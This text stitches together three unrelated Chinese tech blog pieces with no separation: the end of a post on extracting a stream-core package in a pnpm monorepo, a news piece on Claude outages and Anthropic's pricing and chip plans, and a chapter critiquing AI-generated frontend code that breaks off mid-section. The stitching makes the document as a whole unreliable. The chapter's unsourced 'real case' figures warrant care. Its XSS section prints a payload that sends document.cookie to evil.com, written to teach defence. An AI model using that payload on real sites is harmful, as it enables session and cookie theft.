这段代码很小,但它表达出来的边界很重要:对外入口留在 facade,真正的运行时编排收回 runtime。

2.3 Runtime 收口后,内部职责怎么重新分配

主链一旦收口,runtime 内部的职责也就开始变清楚了。

当前核心文件主要包括:

  • chat-session.ts(按请求组装会话上下文、模型实例、active tools 和 system prompts)
  • chat-orchestrator.ts(决定 direct-answer、planning、tool-execution、final-answer 这些阶段怎么串起来)
  • assistant-stream.ts(消费模型输出流,把 reasoning / text 等内容写成标准 chunk)
  • tool-runtime/(承接 tool call 的校验、执行,以及 Tool / Resource 展示信息映射)
  • authoritative-answer.ts(判断单工具确定性结果是否可以跳过模型、直接静态回流)

这一节最重要的,不是把文件列出来,而是让我们能明确看见:谁负责外部入口,谁负责运行时编排,谁负责具体执行。

只有当应用内 Runtime 自己先变清楚了,我们才看得见两件事:

  • 什么是真正稳定的内核
  • 什么仍然属于当前应用的编排层

这一步做完以后,后面的拆包判断才不再靠感觉,而是可以基于已经清楚的职责边界来做。


3. 第二步:怎么判断哪些代码才算“稳定内核”

3.1 我给自己用的一组拆包判断标准

这次我给自己定的标准很简单,但非常实用:

  • 语义是否稳定
  • 是否与业务策略弱耦合
  • 是否跨层复用明显
  • 是否具备独立测试价值
  • 是否可以单独 build / typecheck
  • 是否值得被多个 app / 模块消费

只要前面几条还答不清楚,我通常就不会急着拆。

3.2 适合先拆出去的,不是“最大的一块”,而是“最稳定的一块”

这次我很想留下来的一个判断是:先拆出去的,不一定是最大的那块,而应该是最稳定的那块。

很多时候我们天然会盯着最大的模块:

  • 最大的 service
  • 最大的 runtime
  • 最大的 orchestration

但大的东西,往往也是变化最多、业务语义最重的东西。

这次真正适合先拆出去的,反而不是最大块,而是最稳定的一块:

  • 流式协议
  • 生命周期
  • 错误 chunk
  • static writers
  • NDJSON writer

它们不大,却已经足够清楚、足够独立,也足够值得被当成一层内核看待。

3.3 用项目举例:哪些东西我认为还不该拆

先说我明确不打算在这一步就拆出去的部分。

  • chat-orchestrator(负责 planning、tool 执行、authoritative answer 和 final answer 的阶段编排)
  • chat-session(负责按当前请求组装模型、messages、skill prompt 和 active tools)
  • tool-runtime(负责 tool call 校验、执行,以及 Tool / Resource 展示信息映射)
  • Skill 编排(决定当前请求命中哪个 skill,以及这个 skill 允许使用哪些工具)
  • MCP 消费层(把外部 MCP Tool / Resource 接到当前 runtime 和展示语义上)

原因很直接:它们仍然带有明显的应用内语义和业务编排特征。

这些模块继续留在 apps/webapp,反而是更清晰的选择。

3.4 用项目举例:哪些东西已经足够稳定

再看另一边。下面这些内容,已经很接近一层可以单独沉淀的稳定内核:

  • ChatStreamChunk(定义整条流式协议里有哪些 chunk,以及每种 chunk 带什么字段)
  • StreamLifecycle(约束 start / finish / runtime error 这些生命周期终态只发一次)
  • error chunk helper(统一生成和写出 error chunk)
  • static text / reasoning writers(把静态文本或推理内容写成标准流式 part)
  • NDJSON web writer(把 chunk 序列编码成前端可消费的 NDJSON 响应体)

它们的共同点也很明显:

  • 不直接携带业务策略
  • 语义稳定
  • 本身就值得独立测试
  • 很容易被别的 app 或 service 复用

这就是 stream-core 最终被抽出来的基础。


4. 为什么最后拆出来的是 stream-core

4.1 我没有先拆 runtime-core,也没有拆整个 chat runtime

这是很多人看到目录变化之后,第一反应会问的问题:

“既然已经有 runtime 了,为什么不直接抽一个 runtime-core?”

原因很简单:今天的 runtime 还不是一块可以稳定复用的内核,它仍然包含大量应用级判断:

  • planning 阶段怎么走
  • tool 结果什么时候可以直出
  • skill / tool / mcp 怎么组合

这些东西现在抽出去,只会把编排层也一起包化。

4.2 stream-core 代表的是一块已经稳定的流式内核

真正被我拆出去的,不是一个“大 runtime”,而是一块已经跑稳的流式内核。

它的稳定主要体现在几件事上:

  • 协议已经比较稳定
  • 生命周期已经比较稳定
  • writer 的职责已经比较稳定
  • 和具体业务编排之间是弱耦合关系

StreamLifecycle 就是一个很典型的例子:

export class StreamLifecycle {
    private started = false
    private terminated = false

    emitStartOnce() {
        if (this.started || this.terminated || this.isClosed()) {
            return false
        }

        this.started = true
        this.writeChunk({
            type: 'start',
            messageId: createId(),
        })

        return true
    }
}

它不关心 skill、tool、MCP 这些上层语义,只关心流式生命周期本身是否被正确表达。这种代码,就很适合先沉淀下来。

4.3 stream-core 的职责边界是什么

这个包的边界其实非常克制,当前只放这些内容:

  • protocol
  • lifecycle
  • error chunk
  • static parts writer
  • web NDJSON writer

对应源码大致位于:

  • packages/stream-core/src/protocol/(定义 start / text / reasoning / tool / resource / error / finish 这些 chunk 类型)
  • packages/stream-core/src/core/stream-lifecycle.ts(统一处理流开始、结束和 runtime error 的终态收口)
  • packages/stream-core/src/core/stream-error.ts(统一创建和写出错误 chunk)
  • packages/stream-core/src/core/static-parts.ts(把静态文本或推理内容写成标准流式 part)
  • packages/stream-core/src/adapters/web/chunk-writer.ts(把 chunk 逐行编码成 NDJSON 并写进 Web ReadableStream

而这些内容我明确没有放进去:

  • orchestrator(聊天主链的阶段编排和策略判断)
  • session(按请求拼出模型上下文、messages 和 active tools)
  • tool runtime(工具校验、执行与展示映射)
  • skill / MCP 编排(当前应用里的能力路由和外部能力接入层)

因为它们今天仍然属于“应用内编排层”,还不是适合沉淀成公共内核的部分。

4.4 这一版拆包的核心取舍

如果把这一版的取舍压成一句话,我会这样说:

我不是为了让项目“看起来更像架构”而拆包,而是只把已经在应用内跑稳、边界也相对清楚的那部分流式内核,正式沉淀了下来。

这也是为什么它最终叫 stream-core,而不是一个一看就想把所有东西都装进去的名字。


5. 在 pnpm monorepo 里,把它真正落成内部 workspace 包

5.1 packages/stream-core 的目录与包名设计

这个包的目录和命名,我一开始就尽量做得很直白:

  • 目录:packages/stream-core
  • 包名:@ai-mind/stream-core

这个命名本身就在表达边界:它承接的是 stream core,不是整个 chat runtime。

5.2 为什么我给它做了清晰的 exports,而不是只有一个根入口

内部包也需要边界,不能先暴露一个大入口,后面再慢慢补救。

这次我给 stream-core 做了明确的 exports:

  • 根入口(暴露 stream-core 的核心能力)
  • ./protocol(只暴露流式协议类型)
  • ./web(只暴露面向 ReadableStream 的 NDJSON writer 适配器)

对应配置在 packages/stream-core/package.json

"exports": {
  ".": {
    "types": "./build/types/index.d.ts",
    "require": "./build/cjs/index.js",
    "import": "./build/esm/index.mjs"
  },
  "./protocol": {
    "types": "./build/types/protocol/index.d.ts",
    "require": "./build/cjs/protocol/index.js",
    "import": "./build/esm/protocol/index.mjs"
  },
  "./web": {
    "types": "./build/types/adapters/web/index.d.ts",
    "require": "./build/cjs/adapters/web/index.js",
    "import": "./build/esm/adapters/web/index.mjs"
  }
}

这样做的价值不只是“写得更正规”,而是让消费边界从一开始就足够明确:

  • 根入口给稳定基础能力
  • ./protocol 单独暴露协议类型
  • ./web 单独暴露面向 Web 流响应的适配能力

5.3 为什么我选择双产物构建,而不是只做单一格式

我没有把它做成一份“先能跑起来再说”的源码目录,而是直接按一个内部包去收它的产物形态。

当前 stream-core 输出的是三类产物:

  • build/cjs
  • build/esm
  • build/types

我更想强调的不是“格式有几种”,而是内部 workspace 包一旦开始承担复用职责,就应该被当成一个完整工程单元对待。

它不再只是 app 目录里被移动出去的一份代码,而是一层有明确导出、有独立产物、有自己工程边界的内部能力。双产物构建在这里也不是为了“看起来更像公共包”,而是为了先把内部消费形态收规整。

5.4 apps/webapp 是怎么接入这个 workspace 包的

让一个内部包真正落到应用里,不能只停在“把 import 改过去”。

这次 apps/webapp 的接入主要包括三件事:

  • 依赖用 workspace:*
  • Next.js 通过 transpilePackages 消费它
  • TypeScript 侧使用 moduleResolution: "bundler"

对应配置分别落在:

  • apps/webapp/package.json(声明 @ai-mind/stream-core 这个 workspace 依赖)
  • apps/webapp/next.config.ts(通过 transpilePackages 让 Next.js 正常消费内部包)
  • apps/webapp/tsconfig.json(通过 moduleResolution: "bundler" 对齐包导出解析方式)

这三件事放在一起,才算是“这个 workspace 包已经被当前应用稳定接入”。

5.5 拆成包以后,消费边界也要跟着收稳

目录拆开只是第一步,消费关系也必须跟着显式化。

所以这次除了目录和依赖本身,我也尽量把“它是一个独立工程单元”这件事落到日常约束里:包有自己的构建产物,有自己的导出边界,也有自己的验证责任。

这样一来,stream-core 不再只是“从 app 挪出去的一坨代码”,而是真正可以被稳定消费的一层内部能力。


6. 拆包以后,如何保持现有应用主链不被破坏

6.1 外部入口为什么要保持稳定

这次拆包里,我一直守着一个原则:外部入口尽量不动。

当前对外稳定入口仍然是:

  • createChatService().streamChat()
  • /api/chat

也就是说,底层内核在沉淀,但业务调用层的感知应该尽量保持稳定。

6.2 好的拆包,不应该让业务调用层感受到“地震”

我很认同一句话:真正好的拆包,是内部收口,外部少感知。

这次变化主要发生在内部:

  • chat-service 回到了 facade 角色
  • runtime 的职责更清楚了
  • stream core 被正式沉淀到了 workspace 包

而边界以上的消费方式尽量保持不变,这样拆包才是在降低演进成本,而不是把改动面放大。

6.3 这次拆包对前端消费语义有什么影响

对前端来说,这次最关键的不是“代码搬家了”,而是消费语义没有被破坏。

前端仍然消费同一套流式内容:

  • reasoning
  • tool
  • resource
  • text
  • 统一 error chunk

变化发生在底层:这些协议和 writer 能力,现在由 @ai-mind/stream-core 来承接。

也正因为如此,这次拆包带来的不是“前端协议换了一套”,而是“协议终于有了更明确的归属层”。


7. 为什么真正的拆包,不会只停在目录和 import 上

7.1 测试目录为什么要统一到 tests/**

测试目录统一看起来像小事,但它本质上也是边界收口的一部分。

当前 webapp 侧统一到:

  • apps/webapp/tests/**(webapp 主链和前端消费相关的自动化测试)

package 侧独立到:

  • packages/stream-core/tests/**(stream-core 作为内部包的独立单测)

这样做的价值很直接:

  • app 侧测试边界清楚
  • package 侧测试边界清楚
  • 扫描规则清楚

同时,我也补了位置校验脚本,避免测试文件再慢慢散回业务目录。

7.2 一个内部 workspace 包,也应该有自己的 test / typecheck / build

这是我这次很在意的一点,因为这直接决定它是不是一个真正成立的包。

如果一个内部包没有自己的 test / typecheck / build,那它往往还只是“被搬出去的代码”,还称不上真正的工程单元。

packages/stream-core 现在已经有自己独立的:

  • build
  • typecheck
  • test

这会让后面继续演进它的成本低很多。

7.3 为什么文档资产也要一起更新

代码边界变了,文档边界也要跟着一起变。

所以跟着一起更新的内容包括:

  • plan(记录这版的目标、非目标和关键取舍)
  • tasklist(记录这版具体落地了哪些工作)
  • runtime note(解释聊天主链现在的运行时边界)
  • release(总结版本最终结果)
  • architecture note(沉淀跨版本仍然有效的结构判断)
  • blog material(把实现取舍整理成对外可讲的内容)
  • README(同步仓库当前状态和结构)

这样以后再回头看这版,不会只看到代码改动,还能看到当时的判断、边界和取舍是怎么形成的。


8. 我从这次拆包里得到的 4 个结论

8.1 先在应用内收口边界,再拆包

应用内边界都还没稳的时候,包化通常不会让结构更清楚。

8.2 先抽稳定内核,不急着抽业务编排层

最值得先抽出去的,往往不是最大块,而是最稳定、最独立、最少业务语义的那一块。

8.3 拆包不是为了“更像架构”,而是为了更低成本地演进

如果拆完以后每次修改都更困难,那这个包就没有真正帮我们降低复杂度。

8.4 pnpm monorepo 最适合承载“先验证、再沉淀”的内部架构演进

对我来说,pnpm monorepo 最大的价值不是目录看起来更专业,而是它非常适合承接一种克制的演进方式:

先在 app 内验证边界,再把已经跑稳的那部分自然沉淀成内部 workspace 包。


9. 结尾:我为什么觉得这次拆 stream-core 是值得的

9.1 它让我更清楚地看见了 Runtime 的边界

这次最直接的收获,不是仓库里多了一个包,而是 Runtime 的边界终于能被更清楚地说出来。

做完这次拆分之后,我能更明确地区分:

  • facade 在哪
  • runtime 编排层在哪
  • 稳定流式内核在哪

这比“多了一个 package”本身更重要。

9.2 它不是平台化,而是一次克制的沉淀

我很看重这次的一点,是它足够克制。

这次我没有把整个 chat runtime 一口气打成一个“大而全”的基础包。

我只是把已经在应用里跑稳、边界也相对清楚的那部分流式内核,正式沉淀了下来。

我很看重这种节奏。它不是过度设计,而是一种更克制、也更容易继续演进的沉淀方式。

9.3 后面哪些东西,我反而不会急着拆

也正因为这次我更看重“克制”,所以有些东西我反而不会急着拆。

至少在当前阶段,下面这些内容我不会急着拆出去:

  • chat-orchestrator(聊天主链的阶段编排和策略判断)
  • chat-session(按请求组装模型上下文、messages 和 active tools)
  • tool-runtime(工具校验、执行与展示映射)
  • 业务策略层(和当前产品问答体验强绑定的策略判断)

因为它们今天依然带有明显的应用内语义。

如果现在就急着把这些内容一起包化,只会把还在变化中的编排层也一并固化,反而失去边界。

如果用一句话收住这篇文章,我会这么写:

对我来说,这次拆包的意义,不是“多了一个 package”,而是第一次把“应用内已经跑稳的稳定内核”正式沉淀了下来。


项目地址

GitHub: github.com/HWYD/ai-min…

如果这篇文章刚好对正在处理类似 Runtime / monorepo 拆分问题的同路人有一点参考价值,欢迎来仓库里看看。
如果你也对这种按版本持续演进的 AI Runtime Skeleton 感兴趣,顺手点个 Star,也能让我知道这条路线确实对外部读者有帮助。
后面我也会继续沿着 Runtime、MCP、Agent 这些方向,把这套骨架一点点往前推。

Claude半个月崩7次!算力不够自己造,强制实名制封

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。


Claude 最近真的不太稳。

4月15号,Anthropic 状态页一片红,Claude、Claude Code、API 全线飘绿——哦不,全线报错。 堆了 6000 多条故障报告,三小时后恢复正常。

11.png

这已经是4月以来第7次了。

翻一下记录:1号 Opus 4.6 超时、3号 Claude Code 挂了一小时、6号7号连崩、10号集体出错、13号又挂15分钟。半个月七次,谁顶得住。

服务器扛不住

Anthropic 每次都说是"重磅发布后需求暴涨",说白了就是服务器不够用。

Claude Code 和 Claude Cowork 这类产品,跑起来就是 GPU 黑洞——连续工作几小时不停,每次响应都在烧卡。需求涨太快,算力储备没跟上,怎么办?

Anthropic 的答案:自己造芯片。

22.jpeg

越赚钱,账越难算

反直觉的是,Anthropic 其实赚得不少。年化营收突破 300 亿美元,比去年底翻了三倍多,企业市场 73% 选 Claude。

但 Agent 产品太吃算力了。收入涨,成本也在飙。

怎么算账?三招:

第一招:改了企业版定价。 以前纯订阅,现在 20 美元月费加按量计费。用的多的多付,本质是把重度用户单独拎出来收钱。

第二招:Claude Code 订阅加闸。 用 OpenClaw 这类第三方 Agent,得额外交钱。"算力要优先保障自家产品"。

第三招:强制实名验证。 这刀对国内用户特别狠。KYC 需要政府证件加自拍,靠中转、套壳在用的账号,基本没通过空间。账号一封,记录全清。

33.png

巨头都在绕开英伟达

自研芯片,Anthropic 不是第一个。Meta、OpenAI 都在和博合合作造芯。

为什么找博通?定制 ASIC 的 TCO 比通用 GPU 低 30% 到 50%,每瓦性能高一个数量级。

但 ASIC 绑定特定架构,模型一变效率就下来。没有 CUDA 这种成熟生态,实验场景还是得靠英伟达。

44.png

所以各家都是"多云多芯"——谁都不完全绑在某一家。

总结

Claude 频繁宕机,表面是服务器问题,背后是算力瓶颈。营收涨得再快,Agent 产品一跑起来就是在烧钱。

Anthropic 想自研芯片,把命门攥回自己手里。但在芯片造出来之前,只能靠涨价、附加费、实名制强行算账。

说白了,故事讲得再大,芯片还得看别人脸色。

大人工智能时代下前端界面全新开发模式的思考(四)

第四章:锋利的双刃剑——批判性审视AI生成代码

在拥抱AI带来的效率提升时,我们必须保持清醒的认识:AI不是魔法,它生成的代码并非完美无缺。事实上,AI生成代码带来了一系列新的挑战,有些甚至是传统开发中从未遇到过的。

这一章我们将以批判性的视角,深入剖析AI生成代码的问题、风险和局限性。这不是为了否定AI的价值,而是为了建立正确的使用预期,避免盲目乐观带来的代价。


4.1 可访问性(Accessibility)危机

AI生成代码最大的隐患之一,是可访问性的系统性缺失。这个问题不仅影响用户体验,更可能导致法律风险。

4.1.1 问题的严重性

真实案例

2023年,某知名电商平台使用AI工具批量生成前端组件,上线后发现:

  • 屏幕阅读器用户无法完成购物流程
  • 键盘导航存在死胡同
  • 色盲用户无法区分重要信息
  • 最终收到ADA(美国残疾人法案)诉讼,赔偿金额超过$500万

数据支撑

根据WebAIM对Screenshot-to-code等工具的测试:

  • 图片alt属性缺失:85%的AI生成代码中,图片没有描述性的alt文本
  • 表单标签缺失:72%的表单字段没有正确关联label
  • 键盘导航缺失:68%的交互元素不支持键盘访问
  • 颜色对比度不足:45%的文本对比度不符合WCAG 2.1 AA标准
  • ARIA属性缺失:91%的动态内容更新没有ARIA实时区域

4.1.2 典型问题案例分析

案例1:按钮的可访问性

// AI可能生成的代码(问题版本)
<button onClick={handleClick} className="bg-blue-500 text-white px-4 py-2 rounded">
  提交
</button>

问题分析

  • ❌ 没有type="submit",在表单中行为不确定
  • ❌ 没有disabled状态处理
  • ❌ 没有aria-label,屏幕阅读器只读出"提交"
  • ❌ 没有aria-busy指示加载状态
  • ❌ 没有焦点样式,键盘用户无法看到焦点位置

人工应该补充的完整代码

<button
  onClick={handleClick}
  type="submit"
  disabled={isLoading || isDisabled}
  aria-label={ariaLabel || "提交表单"}
  aria-busy={isLoading}
  aria-describedby={error ? "submit-error" : undefined}
  className={`
    bg-blue-500 text-white px-4 py-2 rounded
    hover:bg-blue-600 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2
    disabled:opacity-50 disabled:cursor-not-allowed
    transition-colors duration-200
  `}
>
  {isLoading ? (
    <>
      <span className="sr-only">提交中,请稍候</span>
      <LoadingSpinner className="w-4 h-4 mr-2" aria-hidden="true" />
      <span aria-hidden="true">提交中...</span>
    </>
  ) : (
    children
  )}
</button>

改进点

  • type="submit"明确表单提交意图
  • disabled处理禁用状态
  • aria-label提供清晰的描述
  • aria-busy指示加载状态
  • aria-describedby关联错误信息
  • ✅ 焦点样式支持键盘导航
  • sr-only类为屏幕阅读器提供额外信息
  • aria-hidden避免重复朗读

案例2:表单的可访问性

// AI生成的表单(问题版本)
<div className="space-y-4">
  <input 
    placeholder="用户名" 
    value={username} 
    onChange={(e) => setUsername(e.target.value)}
  />
  <input 
    type="password"
    placeholder="密码" 
    value={password} 
    onChange={(e) => setPassword(e.target.value)}
  />
  <button onClick={handleSubmit}>登录</button>
</div>

问题清单

  1. 输入框没有关联的label
  2. 没有错误信息展示
  3. 没有required属性
  4. 没有autocomplete属性
  5. 表单没有提交事件处理
  6. 没有fieldset和legend组织相关字段

改进版本

<form onSubmit={handleSubmit} className="space-y-4">
  <fieldset>
    <legend className="sr-only">登录信息</legend>
    
    <div className="space-y-4">
      <div>
        <label htmlFor="username" className="block text-sm font-medium">
          用户名 <span className="text-red-500" aria-hidden="true">*</span>
        </label>
        <input
          id="username"
          name="username"
          type="text"
          autoComplete="username"
          required
          aria-required="true"
          aria-invalid={errors.username ? 'true' : 'false'}
          aria-describedby={errors.username ? 'username-error' : undefined}
          value={username}
          onChange={(e) => setUsername(e.target.value)}
          className="mt-1 block w-full rounded-md border-gray-300 shadow-sm"
        />
        {errors.username && (
          <p id="username-error" className="mt-1 text-sm text-red-600" role="alert">
            {errors.username}
          </p>
        )}
      </div>
      
      <div>
        <label htmlFor="password" className="block text-sm font-medium">
          密码 <span className="text-red-500" aria-hidden="true">*</span>
        </label>
        <input
          id="password"
          name="password"
          type="password"
          autoComplete="current-password"
          required
          aria-required="true"
          aria-invalid={errors.password ? 'true' : 'false'}
          aria-describedby={errors.password ? 'password-error' : undefined}
          value={password}
          onChange={(e) => setPassword(e.target.value)}
          className="mt-1 block w-full rounded-md border-gray-300 shadow-sm"
        />
        {errors.password && (
          <p id="password-error" className="mt-1 text-sm text-red-600" role="alert">
            {errors.password}
          </p>
        )}
      </div>
    </div>
  </fieldset>
  
  <button 
    type="submit" 
    disabled={isLoading}
    className="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:opacity-50"
  >
    {isLoading ? '登录中...' : '登录'}
  </button>
</form>

4.1.3 为什么AI会忽略可访问性?

1. 训练数据的偏差

开源代码库中,可访问性做得好的项目比例不到20%。AI主要从这些数据中学习,自然继承了这些问题。

2. 视觉优先的训练

多模态模型(如GPT-4V)主要学习"看起来像",而非"工作得像"。它们可以看到按钮的样式,但无法理解屏幕阅读器如何描述这个按钮。

3. 上下文缺失

AI不知道目标用户群体是否包含残障人士。除非在Prompt中明确说明,否则AI不会主动添加可访问性属性。

4. 复杂性的低估

可访问性是一个系统工程:

  • 不仅要有alt属性,还要考虑alt文本的质量
  • 不仅要有label,还要考虑label的描述性
  • 不仅要有键盘导航,还要考虑焦点管理
  • 不仅要有ARIA属性,还要考虑ARIA的正确使用(过度使用ARIA也会带来问题)

AI往往只做到表面,无法深入理解这些复杂性。

4.1.4 解决方案

1. 在Prompt中明确要求

"创建一个按钮组件,要求:
1. 完整的可访问性支持
2. 包含aria-label、aria-busy、disabled状态
3. 焦点可见(focus-visible样式)
4. 支持键盘导航(Enter/Space触发)
5. 使用sr-only类为屏幕阅读器提供额外信息"

2. 建立可访问性检查清单

## AI代码可访问性审查清单

### 图片
- [ ] 所有<img>是否有alt属性?
- [ ] alt文本是否描述了图片内容而非"图片"?
- [ ] 装饰性图片是否使用alt=""?
- [ ] 复杂图片(如图表)是否有详细描述?

### 表单
- [ ] 所有输入框是否有关联的<label>- [ ] label的for属性是否与input的id匹配?
- [ ] 是否使用aria-describedby关联错误信息?
- [ ] 是否使用aria-invalid指示错误状态?
- [ ] 是否使用required和aria-required?
- [ ] 是否使用autocomplete属性?

### 按钮和链接
- [ ] 按钮是否有明确的aria-label?
- [ ] 链接文本是否描述了目标(而非"点击这里")?
- [ ] 是否使用button标签而非div模拟按钮?
- [ ] 是否处理了disabled和aria-disabled状态?

### 键盘导航
- [ ] 所有交互元素是否可以通过Tab键访问?
- [ ] 焦点顺序是否符合逻辑?
- [ ] 焦点是否可见(focus-visible样式)?
- [ ] 是否有焦点陷阱(无法通过Tab离开)?
- [ ] 复杂组件(如模态框)是否管理焦点?

### 动态内容
- [ ] 动态更新是否使用ARIA实时区域(aria-live)?
- [ ] 页面标题是否在路由变化时更新?
- [ ] 是否有跳转链接(skip link)?

### 颜色和对比度
- [ ] 文本对比度是否符合WCAG 2.1 AA(4.5:1)?
- [ ] 大文本对比度是否符合WCAG 2.1 AA(3:1)?
- [ ] 信息是否不仅通过颜色传达?

3. 自动化工具辅助

// 使用axe-core进行自动化可访问性测试
import { run } from 'axe-core';

async function testAccessibility(html) {
  const results = await run(html);
  
  if (results.violations.length > 0) {
    console.error('可访问性问题发现:');
    results.violations.forEach(violation => {
      console.error(`- ${violation.description}`);
      console.error(`  影响:${violation.impact}`);
      console.error(`  修复建议:${violation.help}`);
    });
  }
  
  return results.violations.length === 0;
}

4. 人工审查(必须)

自动化工具只能检测约30%的可访问性问题。人工审查是必须的:

  • 使用屏幕阅读器(如NVDA、VoiceOver)实际测试
  • 使用键盘-only导航测试
  • 进行色盲模拟测试

4.2 性能与技术债的隐性累积

AI生成代码往往"能工作",但不代表"工作得好"。性能问题经常隐藏在表面正常的代码之下,形成技术债。

4.2.1 技术债的复利效应

让我们看一个真实的案例:

Month 1: AI生成用户列表组件,节省2小时开发时间
  ├─ 问题:没有使用虚拟滚动,数据量大时卡顿
  ├─ 问题:useEffect依赖项不完整,导致重复请求
  └─ 问题:缺少错误边界,错误会导致整个页面崩溃

Month 3: 用户反馈列表卡顿
  ├─ 花费4小时重构,添加虚拟滚动和懒加载
  ├─ 修复useEffect依赖项问题
  └─ 添加错误边界

Month 6: 多个AI生成组件出现类似性能问题
  ├─ 整体性能优化花费40小时
  ├─ 包括重构、测试、回归
  └─ 项目延期2Year 1: 代码库膨胀,架构债务累积
  ├─ 部分模块需要重写
  ├─ 项目延期3个月
  └─ 团队士气低落,人员流失

总成本:2小时节省 vs 6个月延期 + 团队动荡

4.2.2 常见的性能陷阱

陷阱1:过度渲染(Unnecessary Re-renders)

// AI生成的代码(有性能问题)
function UserList({ users, onSelect }) {
  return (
    <div className="space-y-2">
      {users.map(user => (
        <UserCard 
          key={user.id} 
          user={user} 
          onSelect={onSelect}  // 问题每次渲染都创建新函数
        />
      ))}
    </div>
  );
}

function UserCard({ user, onSelect }) {
  console.log('UserCard render:', user.id); // 会打印很多次!
  
  return (
    <div onClick={() => onSelect(user.id)}>
      {user.name}
    </div>
  );
}

问题分析

  • onSelect在每次UserList渲染时都创建新函数
  • React认为props变化了,触发所有UserCard重新渲染
  • 如果有1000个用户,每次父组件更新,都会渲染1000个子组件

优化方案

function UserList({ users, onSelect }) {
  // 使用useCallback缓存函数
  const handleSelect = useCallback((userId: string) => {
    onSelect(userId);
  }, [onSelect]);
  
  return (
    <div className="space-y-2">
      {users.map(user => (
        <MemoizedUserCard 
          key={user.id} 
          user={user} 
          onSelect={handleSelect}
        />
      ))}
    </div>
  );
}

// 使用React.memo避免不必要的重渲染
const MemoizedUserCard = React.memo(function UserCard({ user, onSelect }) {
  console.log('UserCard render:', user.id); // 只在必要时渲染
  
  const handleClick = useCallback(() => {
    onSelect(user.id);
  }, [onSelect, user.id]);
  
  return (
    <div onClick={handleClick}>
      {user.name}
    </div>
  );
});

陷阱2:Bundle体积膨胀

// AI可能引入不必要的依赖
import _ from 'lodash';  // 整个lodash库(70KB+)

function Component() {
  const debouncedSearch = _.debounce(handleSearch, 300);
  // ...
}

// 实际上只需要:
import debounce from 'lodash/debounce';  // 只有debounce函数(2KB)

// 或者更好的选择:
import { useDebouncedCallback } from 'use-debounce';  // React友好的实现

AI倾向于使用它"熟悉"的大型库,而非更轻量的替代方案。

陷阱3:内存泄漏

// AI生成的代码(有内存泄漏风险)
function useWindowSize() {
  const [size, setSize] = useState({ width: 0, height: 0 });
  
  useEffect(() => {
    const handleResize = () => {
      setSize({
        width: window.innerWidth,
        height: window.innerHeight
      });
    };
    
    window.addEventListener('resize', handleResize);
    // 缺少清理函数!
  }, []);
  
  return size;
}

// 正确版本
function useWindowSize() {
  const [size, setSize] = useState({ width: 0, height: 0 });
  
  useEffect(() => {
    const handleResize = () => {
      setSize({
        width: window.innerWidth,
        height: window.innerHeight
      });
    };
    
    window.addEventListener('resize', handleResize);
    handleResize(); // 初始化
    
    // 清理函数
    return () => {
      window.removeEventListener('resize', handleResize);
    };
  }, []);
  
  return size;
}

陷阱4:过度请求

// AI生成的代码(可能过度请求)
function UserProfile({ userId }) {
  const [user, setUser] = useState(null);
  
  useEffect(() => {
    fetchUser(userId).then(setUser);
  }); // 缺少依赖项!每次渲染都请求
  
  return <div>{user?.name}</div>;
}

// 正确版本
function UserProfile({ userId }) {
  const { data: user } = useQuery({
    queryKey: ['user', userId],
    queryFn: () => fetchUser(userId),
    staleTime: 5 * 60 * 1000, // 5分钟内不重复请求
  });
  
  return <div>{user?.name}</div>;
}

4.2.3 性能优化量化指标

为了控制技术债,建议设定以下指标并持续监控:

指标 基线 目标 测量工具 检查频率
AI代码占比 - 20-30% cloc/git统计 每月
首次内容绘制(FCP) - <1.8s Lighthouse 每次PR
可交互时间(TTI) - <3.8s Lighthouse 每次PR
累积布局偏移(CLS) - <0.1 Lighthouse 每次PR
Bundle大小 - <200KB(gzipped) webpack-bundle-analyzer 每次发布
内存使用 - 无明显增长 Chrome DevTools 每周
长任务数量 - <50ms Performance API 每次发布

4.2.4 技术债管理策略

1. 代码审查强制化

## AI代码性能审查清单

### 渲染优化
- [ ] 是否使用React.memo避免不必要的重渲染?
- [ ] 是否使用useMemo缓存昂贵的计算?
- [ ] 是否使用useCallback缓存事件处理函数?
- [ ] 是否拆分大型组件为小型组件?

### 数据获取
- [ ] 是否使用React Query/SWR进行数据缓存?
- [ ] 是否正确设置staleTime和cacheTime?
- [ ] 是否实现请求去重(request deduplication)?
- [ ] 是否正确处理竞态条件(race condition)?

### Bundle优化
- [ ] 是否使用代码分割(Code Splitting)?
- [ ] 是否按需加载大型库(lodash/date-fns等)?
- [ ] 是否移除未使用的代码(Tree Shaking)?
- [ ] 图片是否压缩和使用现代格式(WebP/AVIF)?

### 内存管理
- [ ] useEffect是否返回清理函数?
- [ ] 事件监听器是否正确移除?
- [ ] 定时器是否正确清除?
- [ ] 是否避免在useState中存储大型对象?

2. 自动化性能监控

// 使用Performance API监控关键指标
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

function sendToAnalytics(metric) {
  const body = JSON.stringify(metric);
  // 发送到分析平台
  fetch('/analytics', {
    body,
    method: 'POST',
    keepalive: true,
  });
}

getCLS(sendToAnalytics);
getFID(sendToAnalytics);
getFCP(sendToAnalytics);
getLCP(sendToAnalytics);
getTTFB(sendToAnalytics);

3. 定期技术债清理

技术债清理流程(每季度):

Week 1: 债务识别
├─ 运行Lighthouse审计
├─ 分析Bundle大小变化
├─ 检查性能回归
└─ 识别高优先级债务

Week 2: 制定计划
├─ 评估债务影响
├─ 制定修复方案
├─ 分配责任人
└─ 排期(考虑业务优先级)

Week 3-4: 执行修复
├─ 修复高优先级债务
├─ 性能优化
├─ 代码重构
└─ 文档更新

Week 5: 验证和总结
├─ 验证修复效果
├─ 更新性能基线
├─ 总结经验教训
└─ 更新开发规范

4.3 安全漏洞的隐蔽性

这是最危险的隐患,因为安全问题往往不会立即暴露,而是在特定条件下被攻击者利用。

4.3.1 高危场景分析

场景1:XSS(跨站脚本攻击)

// AI可能生成的危险代码
function Comment({ content }) {
  // 危险!直接使用dangerouslySetInnerHTML
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// 攻击者输入
const maliciousComment = `
  <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
`;

// 结果:用户Cookie被发送到攻击者服务器

为什么AI会生成这种代码?

  • 用户要求"显示HTML内容"
  • AI知道dangerouslySetInnerHTML可以实现这个功能
  • AI不理解或不重视安全风险

安全版本

